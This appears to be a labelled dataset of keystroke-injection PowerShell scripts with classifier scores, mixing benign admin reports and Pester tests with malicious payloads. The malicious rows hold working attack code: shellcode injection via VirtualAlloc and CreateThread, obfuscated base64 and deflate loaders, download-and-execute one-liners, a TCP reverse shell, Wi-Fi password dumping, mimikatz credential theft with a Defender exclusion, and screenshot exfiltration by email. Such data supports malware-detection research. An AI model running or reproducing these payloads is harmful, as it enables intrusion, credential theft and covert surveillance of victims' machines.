0xba,0x89,0x08,0x00,0x99,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x83,0xc6,0x04,0x31,0x56,0x0f,0x03,0x56,0x86,0xea,0xf5,0x65,0x70,0x68,0xf5,0x95,0x80,0x0d,0x7f,0x70,0xb1,0x0d,0x1b,0xf0,0xe1,0xbd,0x6f,0x54,0x0d,0x35,0x3d,0x4d,0x86,0x3b,0xea,0x62,0x2f,0xf1,0xcc,0x4d,0xb0,0xaa,0x2d,0xcf,0x32,0xb1,0x61,0x2f,0x0b,0x7a,0x74,0x2e,0x4c,0x67,0x75,0x62,0x05,0xe3,0x28,0x93,0x22,0xb9,0xf0,0x18,0x78,0x2f,0x71,0xfc,0xc8,0x4e,0x50,0x53,0x43,0x09,0x72,0x55,0x80,0x21,0x3b,0x4d,0xc5,0x0c,0xf5,0xe6,0x3d,0xfa,0x04,0x2f,0x0c,0x03,0xaa,0x0e,0xa1,0xf6,0xb2,0x57,0x05,0xe9,0xc0,0xa1,0x76,0x94,0xd2,0x75,0x05,0x42,0x56,0x6e,0xad,0x01,0xc0,0x4a,0x4c,0xc5,0x97,0x19,0x42,0xa2,0xdc,0x46,0x46,0x35,0x30,0xfd,0x72,0xbe,0xb7,0xd2,0xf3,0x84,0x93,0xf6,0x58,0x5e,0xbd,0xaf,0x04,0x31,0xc2,0xb0,0xe7,0xee,0x66,0xba,0x05,0xfa,0x1a,0xe1,0x41,0xcf,0x16,0x1a,0x91,0x47,0x20,0x69,0xa3,0xc8,0x9a,0xe5,0x8f,0x81,0x04,0xf1,0xf0,0xbb,0xf1,0x6d,0x0f,0x44,0x02,0xa7,0xcb,0x10,0x52,0xdf,0xfa,0x18,0x39,0x1f,0x03,0xcd,0xd4,0x1a,0x93,0x72,0xf9,0x3d,0xcf,0xe3,0xf8,0x3d,0x1e,0xa8,0x75,0xdb,0x70,0x00,0xd6,0x74,0x30,0xf0,0x96,0x24,0xd8,0x1a,0x19,0x1a,0xf8,0x24,0xf3,0x33,0x92,0xca,0xaa,0x6c,0x0a,0x72,0xf7,0xe7,0xab,0x7b,0x2d,0x82,0xeb,0xf0,0xc2,0x72,0xa5,0xf0,0xaf,0x60,0x51,0xf1,0xe5,0xdb,0xf7,0x0e,0xd0,0x76,0xf7,0x9a,0xdf,0xd0,0xa0,0x32,0xe2,0x05,0x86,0x9c,0x1d,0x60,0x9d,0x15,0x88,0xcb,0xc9,0x59,0x5c,0xcc,0x09,0x0c,0x36,0xcc,0x61,0xe8,0x62,0x9f,0x94,0xf7,0xbe,0xb3,0x05,0x62,0x41,0xe2,0xfa,0x25,0x29,0x08,0x25,0x01,0xf6,0xf3,0x00,0x93,0xca,0x25,0x6c,0xe1,0x22,0xf6;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$CdU4=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($CdU4.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$CdU4,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1651918e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_dwer23p1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_50.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5086938e-05
"win+r powershell enter function Invoke-SharpLdapRelayScan { [CmdletBinding()] Param ( [String] $Co enter mmand = ""-h"" ) $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String(""H enter 4sIAAAAAAAEANy9B5gcxZU43tPd090Ttb0z2zMbtLMKuxomrbQjpFVACUmASCLvSgIJgQAJUEPPiqBl5 enter QVjTJIsgm1OBszJORzmbI5zts9gDvswBoxJhnU4B4xxOBsTHND/heows6uA7ft9/+/0aafCq3r1qurVq enter /cq9fFrdkuKJEkq/O3bJ0mfl/jfEung/0bhL5n7YlK6P/KdKZ8PHfedKadesLnWdYljn++cfXHXOWdv3 enter WoPdW3c1OVs29q1eWvX8hNP6brYPndTJZGIThc4Vq+QpONCivSLk792l4v3R9JUKRaaKUmXAVVRjkveB enter v4u8NyjMnXol5lu/Kd5mVWKx3+KtOFdktRE/33Xc+jfF25VpRMlxtukSeP/fV2V4uBkIV3/IbSJ9w/oM enter wJBA8JHB8KVoU1XDIH76JCo12U+3QEUGypOzTkHadaYRkJ6hVqXbgn8rzibLrIhYVzQTLhGx6Vb1kjmr enter 2/lNEibLIWll34WkmZ+Woa2k6Vfh6WJWuSA/zrl4Rx0WgHcLnRPl/NTwJWVEYyW1RGKlaTUTEVaCulDk enter mQq2+C3PSprldlaqTc/FRMSFo1+7WnwU8rkp1N8F8Xjr92NqKxCpvBk18f2rvxg12GnnfaRNYHsdg/8D enter IhoP7c9A6OJBl3aSPWWzLQDNFyS3dkCJHVbnD/aLHVfCs3TfjP+lNWedDH2loV+Ow/gvd0ZRhhrDnVfG enter sZ04UC6sJcufxgSOt9rC enter enter",1,1,6.231116e-05,0.99993765
win+r enter powershell enter enter enter Describe 'New-PoshBotInstance' { enter enter BeforeAll { enter $VerbosePreference = 'SilentlyContinue' enter $PSDefaultParameterValues = @{ enter 'New-PoshBotInstance:Verbose' = $false enter } enter $script:backend = New-PoshBotSlackBackend -Configuration @{Token = (New-Guid).ToString(); Name = 'Test-Backend'} enter } enter enter Context 'Path' { enter it 'Creates a bot instance from a configuration path' { enter $psd1 = Get-Item -Path (Join-Path -Path $PSScriptRoot -ChildPath '..\..\Artifacts\Cherry2000.psd1') enter $bot = New-PoshBotInstance -Path $psd1 -Backend $script:backend enter $bot | should not benullorempty enter $bot.PSObject.TypeNames[0] | should be 'Bot' enter } enter enter it 'Accepts paths from pipeline' { enter $bot = (Join-Path -Path $PSScriptRoot -ChildPath '..\..\Artifacts\Cherry2000.psd1') | New-PoshBotInstance -Backend $script:backend enter $bot | should not benullorempty enter $bot.PSObject.TypeNames[0] | should be 'Bot' enter } enter enter it 'Validates path and file type' { enter {New-PoshBotInstance -Path '. enter onexistentfile.asdf' -Backend $script:backend} | should throw enter } enter } enter enter Context 'LiteralPath' { enter it 'Accepts LiteralPath' { enter $psd1 = Join-Path -Path $PSScriptRoot -ChildPath '..\..\Artifacts\Cherry2000.psd1' enter $config = New-PoshBotInstance -LiteralPath $psd1 -Backend $script:backend enter $config | should not benullorempty enter } enter } enter enter Context 'Configuration' { enter it 'Accepts configuration object' { enter $psd1 = Join-Path -Path $PSScriptRoot -ChildPath '..\..\Artifacts\Cherry2000.psd1' enter $config = $psd1 | Get-PoshBotConfiguration enter $bot = New-PoshBotInstance -Configuration $config -Backend $script:backend enter } enter enter it 'Accepts configuration object from pipeline' { enter $psd1 = Join-Path -Path $PSScriptRoot -ChildPath '..\..\Artifacts\Cherry2000.psd1' enter $config = $psd1 | Get-PoshBotConfiguration enter $bot = $config | New-PoshBotInstance -Backend $script:backend enter } enter } enter } enter enter,0,0,0.9999502,4.9768845e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_skzltgnu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.460088e-05
win+r enter powershell enter enter enter win m win r powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https://raw.githubusercontent.com/I-Am-Jakoby/hak5-submissions/main/OMG/Payloads/OMG-JumpScare/JumpScare.ps1?dl=1; invoke-expression $pl enter enter enter,1,1,7.849497e-05,0.99992144
"win+r powershell enter [CmdletBinding()] param ( [string]$AppsFile = 'Applications.txt', [ValidateNot enter NullOrEmpty()][string]$ConsoleTitle = 'Application Shortcuts', [switch]$OutputT enter oTextFile, [switch]$GetApplicationList ) function Add-AppToStartMenu { enter enter",1,1,0.002210996,0.997789
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ruknxrl1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996686,3.316419e-05
"win+r enter powershell enter enter enter Describe ""Split-Path"" -Tags ""CI"" { enter enter It ""Should return a string object when invoked"" { enter $result = Split-Path . enter $result | Should -BeOfType String enter enter $result = Split-Path . -Leaf enter $result | Should -BeOfType String enter enter $result = Split-Path . -Resolve enter $result | Should -BeOfType String enter } enter enter It ""Should return the name of the drive when the qualifier switch is used"" { enter Split-Path -Qualifier env: | Should -Be ""env:"" enter Split-Path -Qualifier env:PATH | Should -Be ""env:"" enter } enter enter It ""Should error when using the qualifier switch and no qualifier in the path"" { enter { Split-Path -Qualifier -ErrorAction Stop /Users } | Should -Throw enter { Split-Path -Qualifier -ErrorAction Stop abcdef } | Should -Throw enter } enter enter It ""Should return the path when the noqualifier switch is used"" { enter Split-Path env:PATH -NoQualifier | Should -BeExactly ""PATH"" enter } enter enter It ""Should return the base name when the leaf switch is used"" { enter Split-Path -Leaf /usr/bin | Should -BeExactly ""bin"" enter Split-Path -Leaf fs:/usr/local/bin | Should -BeExactly ""bin"" enter Split-Path -Leaf usr/bin | Should -BeExactly ""bin"" enter Split-Path -Leaf ./bin | Should -BeExactly ""bin"" enter Split-Path -Leaf bin | Should -BeExactly ""bin"" enter Split-Path -Leaf ""C:\Temp\Folder1"" | Should -BeExactly ""Folder1"" enter Split-Path -Leaf ""C:\Temp"" | Should -BeExactly ""Temp"" enter Split-Path -Leaf ""\\server1\share1\folder"" | Should -BeExactly ""folder"" enter Split-Path -Leaf ""\\server1\share1"" | Should -BeExactly ""share1"" enter } enter enter It ""Should be able to accept regular expression input and output an array for multiple objects"" { enter $testDir = $TestDrive enter $testFile1 = ""testfile1.ps1"" enter $testFile2 = ""testfile2.ps1"" enter $testFilePath1 = Join-Path -Path $testDir -ChildPath $testFile1 enter $testFilePath2 = Join-Path -Path $testDir -ChildPath $testFile2 enter enter New-Item -ItemType file -Path $testFilePath1, $testFilePath2 -Force enter enter Test-Path $testFilePath1 | Should -BeTrue enter Test-Path $testFilePath2 | Should -BeTrue enter enter $actual = ( Split-Path (Join-Path -Path $testDir -ChildPath ""testfile*.ps1"") -Leaf -Resolve ) | Sort-Object enter $actual.Count | Should -Be 2 enter $actual[0] | Should -BeExactly $testFile1 enter $actual[1] | Should -BeExactly $testFile2 enter ,$actual | Should -BeOfType ""System.Array"" enter } enter enter It ""Should be able to tell if a given path is an absolute path"" { enter Split-Path -IsAbsolute fs:/usr/bin | Should -BeTrue enter Split-Path -IsAbsolute .. | Should -BeFalse enter Split-Path -IsAbsolute /usr/.. | Should -Be (!$IsWindows) enter Split-Path -IsAbsolute fs:/usr/../ | Should -BeTrue enter Split-Path -IsAbsolute ../ | Should -BeFalse enter Split-Path -IsAbsolute . | Should -BeFalse enter Split-Path -IsAbsolute ~/ | Should -BeFalse enter Split-Path -IsAbsolute ~/.. | Should -BeFalse enter Split-Path -IsAbsolute ~/../.. | Should -BeFalse enter } enter enter It ""Should support piping"" { enter ""usr/bin"" | Split-Path | Should -Be ""usr"" enter } enter enter It ""Should return the path up to the parent of the directory when Parent switch is used"" { enter $dirSep = [string]([System.IO.Path]::DirectorySeparatorChar) enter Split-Path -Parent ""fs:/usr/bin"" | Should -BeExactly ""fs:${dirSep}usr"" enter Split-Path -Parent ""/usr/bin"" | Should -BeExactly ""${dirSep}usr"" enter Split-Path -Parent ""/usr/local/bin"" | Should -BeExactly ""${dirSep}usr${dirSep}local"" enter Split-Path -Parent ""usr/local/bin"" | Should -BeExactly ""usr${dirSep}local"" enter Split-Path -Parent ""C:\Temp\Folder1"" | Should -BeExactly ""C:${dirSep}Temp"" enter Split-Path -Parent ""C:\Temp"" | Should -BeExactly ""C:${dirSep}"" enter Split-Path -Parent ""\\server1\share1\folder"" | Should -BeExactly ""${dirSep}${dirSep}server1${dirSep}share1"" enter Split-Path -Parent ""\\server1\share1"" | Should -BeExactly ""${dirSep}${dirSep}server1"" enter } enter enter It 'Does not split a drive leter'{ enter Split-Path -Path 'C:\' | Should -BeNullOrEmpty enter } enter } enter enter",0,0,0.9999497,5.027252e-05
"powershell "" iEx ( NeW-ObjecT SystEm.io.coMpresSion.defLATEsTreaM( [SySTEm.IO.Me enter MoRySTReam] [conVert]::fRoMbASe64STrINg( '7VZtb+JGEP5uyf/BQkg2OnBje/0C0kl+T1EJd0 enter q4Xq6AKsfZJPSMHdnLBXS6/95ZrzHGHG3U65dKHYTXu/Oys8+sR0+4SWOyylLBXaVRvlNvSL5KH6U5G5 enter dC91NEos894SvPde92BE9WBRHeCvObXUHwWvayJMFlgEK+xCnOV7FMTeYu2C6Xo1GKX6Qezz1kuSB1V+ enter B5AYFWwiAhVWh5gtNH8lSuvnlrHe8kO/f30tzL0i84JxBtltG4UuV5s7krWLrdVV+wen1B7cFeOSabPK enter 1TnOEtkYM0zu7pgUYj58YbjyFZUh31sNksc/I82kk0SLjH5We8japtD6CMpyzP66l7q8ChYEG+xs9JFG enter NJtMW+eCH2qmMUoJ7il8G7uz8AKGEw2z3jabTGAlXOl8LAyR83a5ySElmJhaxAEX6CEx3waqoqvEBfA1 enter bMYQk8lrQ+p5gx72PMVMBMMRqYsaSWLB7PFSTKyaBIMH4WNNjGmwQKPa+IfN0Z2iCazQSxIQSho2vZR4 enter Lsf0fqsIESuo4dwE7IHnq+qsCOCvLom44MyxiammqbtqkaoWHCUzF81TY0GAP4hSaCmWroYKOauhHAbE enter ifCKFQB0/DBz8E+sD24eeorQPoNtLLc3m2QjHQ/aEdBobazjegDxVsXPiXybtBpXKO8Al8j72pTU+mO1 enter qvXtqAngAMZsqx436GbKvMnamVWtWen84OEiLfpaNu7ldYvlB984zLqdDg3qutf1AqGKwzaquC9YxeDU enter y4DaZlVjjryG3Vq67ryR enter",1,1,6.154e-05,0.9999385
"win+r powershell enter delay_medium enter win+r enter delay_short enter powershell /w 1 /C Set-ExecutionPolicy RemoteSigned;wget ""DOWNLOAD_LINK"" -o \d.ps1;\d.ps1 enter unknown_key_action CTRL-SHIFT ENTER enter delay_medium enter unknown_key_action ALT y enter",1,1,5.66343e-05,0.9999434
"win+r enter powershell enter enter enter function Assert-False enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [object] enter enter $InputObject, enter enter [Parameter(Position=1)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( $InputObject ) enter { enter Fail ""Expected false, but was true. $Message"" enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xc6,0x80,0x68,0x02,0x00,0x00,0x50,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.133665e-05,0.9999486
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_b19jeu3f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_50.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.39481e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_eitgjxqh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_150.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3614288e-05
"win+r powershell enter capslock win r powershell enter enter $l = ('choose payload -> press one -> press two -> repeat','p0 [-][-][-] : this window.','p1 [-][-][n] : network info.','p2 [-][s][-] : proof of pwnage.','p3 [-][s][n] : user credentials.','p4 [c][-][-] : reverse shell.','p5 [c][-][n] : ducky_crab.','p6 [c][s][-] : connect2pinapple.','p7 [c][s][n] : storage.') enter enter $l = $l -join ""`n- "" enter enter powershell -windowstyle hidden -command ""& {[system.reflection.assembly]::loadwithpartialname('system.windows.forms'); [system.windows.forms.messagebox]::show('- $l','~~~ duckin8or cheatsheet ~~~')}"" enter enter win r powershell -nop -noni -w h enter enter powershell.exe -enc jabvacaapqagahcaaabvageabqbpadsajabtad0aigakafuaiabpahmaiabjag8abgbzagkazablahiazqbkacaaywbvag0acabyag8abqbpahmazqbkaceaiabuaggaaqbzacaaaqbuagmaaqbkaguabgb0acaadwbpagwabaagagiazqagahiazqbwag8acgb0aguazaauaciaowakaewaiaa9acaarwblahqalqbeageadablaa0acgbbafmaeqbzahqazqbtac4augblagyabablagmadabpag8abgauaeeacwbzaguabqbiagwaeqbdadoaogbmag8ayqbkafcaaqb0aggauabhahiadabpageababoageabqblacgaigbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmaigapadsawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbnaguacwbzageazwblaeiabwb4af0aoga6afmaaabvahcakaakag0alaaiacqataagac0aiabqahiabwbvagyaiabvagyaiabdag8abqbwahiabwbtagkacwblacialaawacwawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbnaguacwbzageazwblaeiabwb4aekaywbvag4axqa6adoarqb4agmababhag0ayqb0agkabwbuacka;exit enter enter win r powershell -nop -noni -w h enter enter powershell.exe -enc jabzacaapqaoacgazwb3ag0aaqagahcaaqbuadmamgbfahyabwbsahuabqblacaalqbmacaajwbsageaygblagwapqanaccarabvaemaswbzaccajwanackalgboageabqblackaowanaaoaqqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagacoabqauacoacwauaeyakgbzadsadqakaeeazabkac0adab5ahaazqagac0aqqbzahmazqbtagiabab5ae4ayqbtaguaiaaqag0algbeahiakgbnadsadqakacqauwagad0aiabbafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwauafmaeqbzahqazqbtaekabgbmag8acgbtageadabpag8abgbdadoaogbwagkacgb0ahuayqbsafmaywbyaguazqbuadsadqakacqavwagad0aiaakafmalgbxagkazab0aggaowanaaoajabiacaapqagacqauwauaegazqbpagcaaab0adsadqakacqargagad0aiaakafmalgbmaguazgb0adsadqakacqavaagad0aiaakafmalgbuag8acaa7aa0acgakaeiaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4arabyageadwbpag4azwauaeiaaqb0ag0ayqbwacaajabxacwaiaakaegaowanaaoajabhacaapqagafsauwb5ahmadablag0algbeahiayqb3agkabgbnac4arwbyageacaboagkaywbzaf0aoga6aeyacgbvag0asqbtageazwblacgajabcackaowanaaoajabhac4aqwbvahaaeqbgahiabwbtafmaywbyaguazqbuacgajabgacwaiaakafqalaagadaalaagadaalaagacqaqgauafmaaqb6aguakqa7aa0acgakaeialgbtageadgblacgajabzacsaigbcafaacgbvag8azgauagiabqbwaciakqa7acqaugbeacaapqagacgazwb3ag0aaqagahcaaqbuadmamgbfahyabwbsahuabqblacaalqbmacaajwbsageaygblagwapqanaccarabvaemaswbzaccajwanackalgboageabqbladsauwb0ageacgb0ac0auwbsaguazqbwacaamwa7acgatgblahcalqbpagiaagblagmadaagac0aywbvag0atwbiagoazqbjahqaiabtaggazqbsagwalgbbahaacabsagkaywbhahqaaqbvag4akqauae4ayqbtaguacwbwageaywblacgamqa3ackalgbqageacgbzaguatgbhag0azqaoacqaugbeackalgbjag4adgbvagsazqbwaguacgbiacgajwbfagoazqbjahqajwapadsarqb4agkadaa=;exit enter enter win r powershell enter enter $pubip=(invoke-webrequest icanhazip.com -usebasicparsing).content enter enter $networks = get-wmiobject win32_networkadapterconfiguration -filter ""dhcpenabled=$true"" | ? {$_.ipenabled} enter enter $wifi = out-string -inputobject ((netsh wlan show profiles) | select-string "":(.+)$"" | % {$name=$_.matches.groups[1].value.trim(); $_} | % {(netsh wlan show profile name=""$name"" key=clear)} | select-string ""key content\w+\:(.+)$"" | % {$pass=$_.matches.groups[1].value.trim(); $_} | % {[pscustomobject]@{ profile_name=$name;password=$pass }} | format-table -autosize) -width 100 enter enter $rd=((gwmi win32_volume -f 'label=''ducky''').name + 'network.txt') enter enter ($wifi + $pubip + $networks.ipaddress[0]) | set-content -path $rd enter enter exit enter enter win r powershell enter enter $rd = (gwmi win32_volume -f 'label=''ducky''').name enter enter import-module defender enter enter set-mppreference -exclusionpath $rd enter enter cd $rd enter enter .\mk.exe > $env:username`.txt -and type $env:username`.txt enter enter privilege::debug enter enter sekurlsa::logonpasswords full enter enter exit enter enter remove-mppreference -exclusionpath $rd enter enter exit enter enter win r powershell -nop -noni -w h enter enter $c=new-object system.net.sockets.tcpclient(""lhost"",lport);$s=$c.getstream();[byte[]]$b=0..65535|%{0};while(($i=$s.read($b,0,$b.length))-ne 0){;$d=(new-object -typename system.text.asciiencoding).getstring($b,0,$i);$z=(iex $d 2>&1|out-string);$x=$z+""ducky@ps ""+(pwd)+""> "";$y=([text.encoding]::ascii).getbytes($x);$s.write($y,0,$y.length);$s.flush()};$c.close();exit enter enter win r powershell enter enter $f=""home.xml"";$ssid=""pineapple_ssid"";$ssidhex=($ssid.tochararray() |foreach-object {'{0:x}' -f ([int]$_)}) -join'';$xmlfile=""<?xml version=""""1.0""""?><wlanprofile xmlns=""""http://www.microsoft.com/networking/wlan/profile/v1""""><name>$ssid</name><ssidconfig><ssid><hex>$ssidhex</hex><name>$ssid</name></ssid></ssidconfig><connectiontype>ess</connectiontype><connectionmode>manual</connectionmode><msm><security><authencryption><authentication>open</authentication><encryption>none</encryption><useonex>false</useonex></authencryption></security></msm></wlanprofile>"";$xmlfile > ($f);netsh wlan add profile filename=""$($f)"";netsh wlan connect name=$ssid;exit enter enter win r powershell enter enter set-executionpolicy -executionpolicy bypass -scope currentuser enter enter new-item -path 'pictures' -name 'screens.ps1' -itemtype file enter enter ""cd c:\users\$env:username\ `nnew-item -path 'c:\users\$env:username\pictures\screens\' -itemtype directory"" | out-file pictures\screens.ps1 -append enter enter ""`$t = new-timespan -minutescrab_duration_min"" | out-file pictures\screens.ps1 -append enter enter ""`$clk = [diagnostics.stopwatch]::startnew() `nwhile (`$clk.elapsed -lt `$t){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$s = [system.windows.forms.systeminformation]::virtualscreen `n`$width = `$s.width `n`$height = `$s.height `n`$left = `$s.left `n`$top = `$s.top `n`$bmp = new-object system.drawing.bitmap `$width, `$height `n`$g = [system.drawing.graphics]::fromimage(`$bmp) `n`$g.copyfromscreen(`$left, `$top, 0, 0, `$bmp.size) `n`$enddate = (get-date).tostring('ddmmyy-hh_mm_ss') `n`$fn = `$enddate + '.gif' `n`$bmp.save('c:\users\$env:username\pictures\screens\' + `$fn) `nstart-sleep -seconds 10"" | out-file pictures\screens.ps1 -append enter enter ""send-mailmessage -fromoutlook_user-tooutlook_user-subject `""screenshot loot`"" -body `""please find attached your screenshot update`"" -attachment `""pictures\screens\`$fn`"" -smtpserver smtp-mail.outlook.com -port 587 -usessl -credential (new-object -typename system.management.automation.pscredential -argumentlistoutlook_user, (convertto-securestring -string `""outlook_pass`"" -asplaintext -force))"" | out-file pictures\screens.ps1 -append enter enter ""start-sleep -secondscrab_delay_sec`n} `nset-executionpolicy -executionpolicy undefined -scope currentuser `nget-childitem pictures\screens -include *.* -recurse | foreach {`$_.delete()} `nremove-item pictures\screens -confirm:`$false 